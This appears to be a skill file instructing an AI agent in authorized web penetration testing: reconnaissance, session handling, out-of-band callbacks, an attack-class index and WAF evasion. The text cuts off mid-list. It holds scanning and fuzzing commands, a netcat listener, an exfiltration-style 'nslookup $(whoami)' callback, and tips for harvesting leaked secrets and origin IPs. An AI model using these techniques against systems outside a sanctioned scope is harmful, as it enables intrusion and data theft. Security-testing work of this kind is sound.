--- name: web-pentest description: Web application penetration testing methodology for Pi agent — reconnaissance, auth handling, per-class attack methodology, detection, confirmation, evasion, and reporting. Use when testing a live web target within a sanctioned engagement. Per-class methodology lives in classes/.md; read only the class(es) you are assigned. --- # Web Pentest Methodology This skill is a **router**. The shared workflow (recon, auth, OOB, evasion, confirmation) lives here; each attack class lives in its own file under `classes/`. **Read only the class file(s) for your assignment** — an auditor scoped to `sqli` reads `classes/sql-injection.md`, not the whole corpus. ## exploit_search Integration XPI has access to the [exploit_search](https://preview.is) security corpus. Use it at every stage: - **Recon** — after fingerprinting tech, search known CVEs, techniques, and evasion for that framework/version. - **Probe** — before/during a class, search the latest techniques, payloads, and bypasses. The class files cover the core; exploit_search surfaces newer variants. - **Evasion** — when a WAF blocks you, search bypasses for that specific filter/WAF. - **Confirmation** — search known PoCs / detection patterns for the class. ``` exploit_search(query="django 5.0 known CVEs") exploit_search(query="WAF bypass SQLi no-error") exploit_search(query="command injection out-of-band detection") ``` Try the class file's ordered techniques first (they are ranked by likelihood); use exploit_search as a force multiplier when the basics don't work, not a replacement. --- ## Hard Rules - **Never create accounts autonomously.** No signup, registration, disposable inboxes, or temp mail. If the target needs auth, the user supplies credentials. - **Never scan outside authorized scope.** Check every URL against the engagement scope before hitting it. Unsure → ask the user. - **Never DoS.** Concurrency ≤ 10 threads, rate ≤ 50 req/min for fuzzing. Stop on 429 (rate limit) or 403 (WAF). - **No fabrication.** A finding that does not reproduce against the live target is dismissed. "Theoretically vulnerable" does not count. - **Record everything.** Each technique tried goes in the casefile `evidence` field with the request, response, and conclusion. --- ## 1. Workflow ``` 1. RECON — fingerprint tech, map endpoints, understand auth 2. MAP — parameter/content discovery, identify attack surface 3. PROBE — per-class testing, ordered techniques, stop-technique-on-confirm 4. CONFIRM — reproduce independently, eliminate false positives 5. ESCALATE — chain findings, pivot to higher impact 6. REPORT — evidence, reproducible PoC, severity, fix ``` **ESCALATE is assisted:** run `ChainSuggest` before declaring the engagement done — it scans confirmed/investigating cases for exploitable combinations (credential+endpoint→ATO, open-redirect+OAuth→token theft, XSS+state-change→CSRF bypass, IDOR+user-data→mass leak, SSTI→RCE, race+payment, info-disclosure+SSRF) ranked by confidence. Verify a suggested chain live, then `CaseLink` the pair. Low-severity findings that chain into ATO/mass-leak are what triage cares about. Each phase feeds the next. Don't skip recon — it determines which classes are relevant. ### Target prioritization & signal reading - **Rank classes by what gets you data or execution:** auth bypass > injection > file read > info disclosure. DoS, popup XSS, and pure info leak are not findings on their own. - **Every failure response is a signal:** 403 = endpoint exists (auth gap to test), WAF block = payload reached the parser (evasion path), timeout = possible blind injection (timing oracle), 401 vs 302 = how auth gates. - **Non-prod first:** uat/dev/staging usually have weaker controls, direct origin exposure, default creds, real data. Test them before prod. - **15-minute rule:** no breakthrough on one target in 15 min → switch, come back. Don't tunnel. - **Falsification generates the next hypothesis:** a negative for one class is evidence for the adjacent one — sqlmap-negative on a filter is a mass-assignment/ORM-leak lead, not "no injection here" (see `classes/orm-leak.md`). --- ## 2. Reconnaissance Before any payload, learn the target. **Blackbox recon is attack-surface mapping, not raw collection.** Every class you can meaningfully test is capped by what recon surfaced. Aggressively gather high-signal intel, then interpret it into entry points, auth models, trust boundaries, attacker model, and attack classes. Pick intel sources because they can change that map: credible tech + versions, routes/params, auth boundaries, JS/source maps for SPA/API-heavy apps, exposed schemas (OpenAPI/GraphQL introspection), or leaked infrastructure (origin IP, backups, `.git`). Record each useful lead as `EvidenceAdd role=observation` and pivot to it directly. **And observe behavior, not just artifacts.** Send a controlled request, change one thing, read the **differential** — status vs length vs timing vs body vs error text. That differential is where internals leak: 403-vs-404 reveals which endpoints exist, a timing gap is a blind-injection oracle, an error string names the parser/ORM/stack, a 200-with-error-body is a silent failure, a changed result across a request *sequence* is a logic flaw. Each anomaly is a hypothesis — `CaseAdd` it with its `disproveIf`, then probe to confirm or kill it. ### Technology fingerprinting Fetch with `http_request` (cookie jar persists), then `grep` the response — don't pipe `curl` into `bash grep`: ``` http_request(url: "https://target.com") grep(pattern: "server|x-powered-by|x-aspnet|set-cookie", path: "") grep(pattern: "") ``` Check: **Server** (Apache/Nginx/IIS/Cloudflare) · **Framework** (React/Angular/Django/Rails/Laravel/ASP.NET/Next.js) · **Language** (PHP/Java `JSESSIONID`/Python/Go/Node) · **Auth** (cookie name, JWT, session token) · **API style** (REST/GraphQL/SOAP) · **Known CVEs** (`exploit_search` `" CVE"`). **Frameworks are the 2026 attack surface** — pin the version and search for framework-specific flaws (Next.js cache, Prisma/Beego/Django ORM, .NET), not just app code. ### Endpoint discovery ``` http_request(url: "https://target.com/main.js") # then grep for hidden routes http_request(url: "https://target.com/api") # /swagger /graphql /.env /.git/config ``` ```bash bash("httpx -u https://target.com -t 10 -tl -json | jq '.tech'") bash("ffuf -u https://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt -rate 50 -t 10 -mc 200,301,302,401,403") bash("arjun -u https://target.com/api/user -m GET,POST") ``` Identify public-vs-authed endpoints, parameterized routes (`/user/{id}`), upload endpoints, admin interfaces, API docs (Swagger/GraphiQL/OpenAPI). ### API route & version fuzzing ``` 1. ROUTE-LEVEL FUZZ (Kiterunner) — API routes are word-based: kr scan -w routes-large.kite -rate 50 2. VERSION DOWNGRADE — /api/v2/admin → v1 → /api/admin → /admin; downgrade bypasses version-gated authz 3. METHOD SWITCHING — GET blocked → POST/PUT/PATCH/OPTIONS; OPTIONS leaks allowed verbs + route existence 4. DEPRECATED ENDPOINTS FIRST — old code has fewer checks; OpenAPI `deprecated: true` entries linger server-side 5. PARSER DIFFERENTIAL — inject backslash / null bytes into routes/params; parsers disagree (see classes/parser-differential.md) ``` Every discovered endpoint gets an authz test (`classes/access-control.md`) before any injection testing — a hidden endpoint with no auth check is usually the fastest finding. ### Subdomain & asset discovery (bounty scope) ```bash bash("subfinder -d target.com -silent | tee subs.txt") bash("cat subs.txt | httpx -silent -t 10") bash("nmap -iL live-subs.txt --top-ports 100 -T3 --max-rate 50") ``` Record every asset in `assumptions`; only probe hosts **within the declared scope**. ### Surface hardening: origin IP, source maps, leaked backups ``` CDN → ORIGIN IP: DNS history (SecurityTrails/passive DNS) · SSL cert serial (FOFA/Shodan) · favicon hash pivot · mail Received chain + X-Originating-IP · unique body-string search · verify curl -H "Host: target.com" https:// · CT logs for internal SANs JS SOURCE MAPS: unwebpack-sourcemap → LinkFinder (routes) → SecretFinder (creds) → SubDomainizer VCS/BACKUP LEAKS: /.git/config (GitHack) · /.svn · /.DS_Store · www.zip/.bak/.swp/.orig/.sql/.env · WEB-INF/ PASSIVE ARCHIVES (zero traffic): gau target.com (Wayback+CommonCrawl+OTX+URLScan); harvest redirect=/file=/url= params ``` A leaked origin IP or source map is a high-value pivot; record it as `EvidenceAdd observation`. Map the auth boundary — which endpoints require auth, which accept unauth, how denial is signalled (401 vs 302 vs 200-with-error): ``` http_request(url: "https://target.com/admin") # authed (jar persists) http_request(url: "https://target.com/admin", headers: { cookie: "session=invalid" }) # unauthed denial ``` --- ## 3. Auth & Session Handling `http_request` keeps a per-session cookie jar — `Set-Cookie` is stored and re-injected to the same host, so login → probe flows need no manual cookie management. ``` # Login (Set-Cookie stored), then hit a protected resource (cookie injected) http_request(url: "https://target.com/api/login", method: "POST", json: { user: "...", pass: "..." }) http_request(url: "https://target.com/admin") # Bearer / JWT http_request(url: "https://target.com/api/users", headers: { Authorization: "Bearer eyJ..." }) # Basic http_request(url: "https://target.com/api/protected", headers: { Authorization: "Basic " }) ``` **CSRF token:** GET the form (jar stores cookies), grep the token from the body, POST with it. **Multiple roles:** the jar is shared — re-authenticate as each role before probing, and test each endpoint at every role level. ## 3.5 Out-of-Band (OOB) Callback Channel Blind classes (blind SQLi, blind SSRF, blind command injection, deserialization) can only be *detected* via an OOB callback — a DNS/HTTP hit from the target to a listener you control. ```bash # Local listener (detection only — see the confirmation caveat below) bash("while true; do printf '%s ' \"$(date -Is)\"; nc -l -p 8080 -q1 | head -1; done >> oob.log &") # DNS OOB: interactsh-client -v (prints a *.interact.sh domain; poll for hits) ``` - Generate a **unique token per probe** (`poc--`) to attribute each callback. - A callback confirms the sink is reachable; it does not by itself confirm exfil — embed data in the callback (`nslookup $(whoami).collab`). - **Confirmation caveat (critical):** a listener the PoC can reach itself is *detection telemetry, not proof*. The confirmation gate **rejects loopback OOB** — see §8. Blind classes stay `INCOMPLETE`/`blocked` until a source-separated, operator-owned collector exists. No callback within 60s → not confirmed. --- ## 4. Attack-Class Index Each class has its own file under `classes/`. **Read only the file(s) for your assignment.** Every file follows: Checklist → Techniques (ranked) → Detection → Confirmation → Evasion, with a professional header mapping the class to CWE / OWASP Top 10 2021 / OWASP API Top 10 2023 / WSTG 4.2. | Class file | Covers | CWE | OWASP 2021 / API 2023 | WSTG 4.2 | |-----------|--------|-----|------------------------|----------| | `sql-injection.md` | SQL / NoSQL / LDAP / XPath injection | CWE-89, CWE-943 | A03 | WSTG-INPV-05/06 | | `xss.md` | Reflected / stored / DOM XSS | CWE-79 | A03 | WSTG-CLNT-01, INPV-01/02 | | `access-control.md` | IDOR / BOLA / BFLA / BOPLA / mass assignment / privesc | CWE-639, CWE-284, CWE-862, CWE-915 | A01 / API1,3,5 | WSTG-ATHZ-01…04 | | `ssrf.md` | Server-side request forgery | CWE-918 | A10 / API7 | WSTG-INPV-19 | | `path-traversal.md` | Path traversal / LFI / RFI | CWE-22, CWE-98 | A01 / A03 | WSTG-ATHZ-01, INPV-11/12 | | `command-injection.md` | OS command injection | CWE-78 | A03 | WSTG-INPV-12 | | `deserialization.md` | Insecure deserialization (Java/PHP/.NET/Python/Ruby/Fastjson) | CWE-502 | A08 | WSTG-INPV-11 | | `ssti.md` | Server-side template injection | CWE-1336, CWE-94 | A03 | WSTG-INPV-18 | | `xxe.md` | XXE / XML attacks | CWE-611 | A05 | WSTG-INPV-07 | | `jwt-saml.md` | JWT & SAML token forgery | CWE-347 | A02 / A07 | WSTG-SESS-10, ATHN-* | | `oauth-oidc.md` | OAuth 2.0 / OIDC flow abuse | CWE-601, CWE-352 | A07 / API2 | WSTG-ATHZ-04, SESS-* | | `orm-leak.md` | ORM leaking (Django/Prisma/Beego/EF/OData) | CWE-639, CWE-200 | A01 / A03 | WSTG-INPV-05 | | `graphql.md` | GraphQL data leak & authz | CWE-284 | API1/API3 | WSTG-INPV, ATHZ | | `business-logic.md` | Business/workflow logic flaws | CWE-840, CWE-841 | A04 / API6 | WSTG-BUSL-01…09 | | `race-conditions.md` | TOCTOU / limit-overrun / single-packet | CWE-362, CWE-367 | A04 | WSTG-BUSL-* | | `file-upload.md` | Malicious file upload → RCE | CWE-434 | A04 / A08 | WSTG-BUSL-09 | | `request-smuggling.md` | HTTP request smuggling / desync | CWE-444 | A06 | WSTG-* | | `web-cache-poisoning.md` | Cache poisoning & deception | CWE-524, CWE-525 | A05 | WSTG-* | | `cors.md` | CORS misconfiguration | CWE-942, CWE-346 | A05 / API8 | WSTG-CLNT-07 | | `prototype-pollution.md` | Server & client-side prototype pollution | CWE-1321 | A03 / A08 | WSTG-CLNT-13 | | `parser-differential.md` | Cross-parser semantic gaps (meta-class) | CWE-436 | A03 | WSTG-* | | `database-attacks.md` | Post-access DB engine attacks (MySQL/PG/MSSQL/Oracle/Redis) | CWE-89, CWE-78 | A03 | WSTG-* | | `supply-chain.md` | Dependency confusion & CI/CD abuse | CWE-1104, CWE-506 | A06 / A08 | WSTG-* | **Class selection is recon-driven.** Choose classes from the tech + surface you mapped in §2; batch tightly-related classes per auditor (the coordinator assigns one family at a time). `vuln_class` in stage output is a free label — pick the most precise one, not necessarily a filename. --- ## 5. Evasion Basics ### WAF / input-filter bypass **First: `exploit_search` for WAF-specific bypasses** (Cloudflare/Akamai/F5/mod_security patterns change over time): ``` exploit_search(query="Cloudflare WAF SQLi bypass 2026") exploit_search(query="mod_security CRS rule bypass XSS") ``` General techniques when search comes up dry: ``` CASE VARIATION: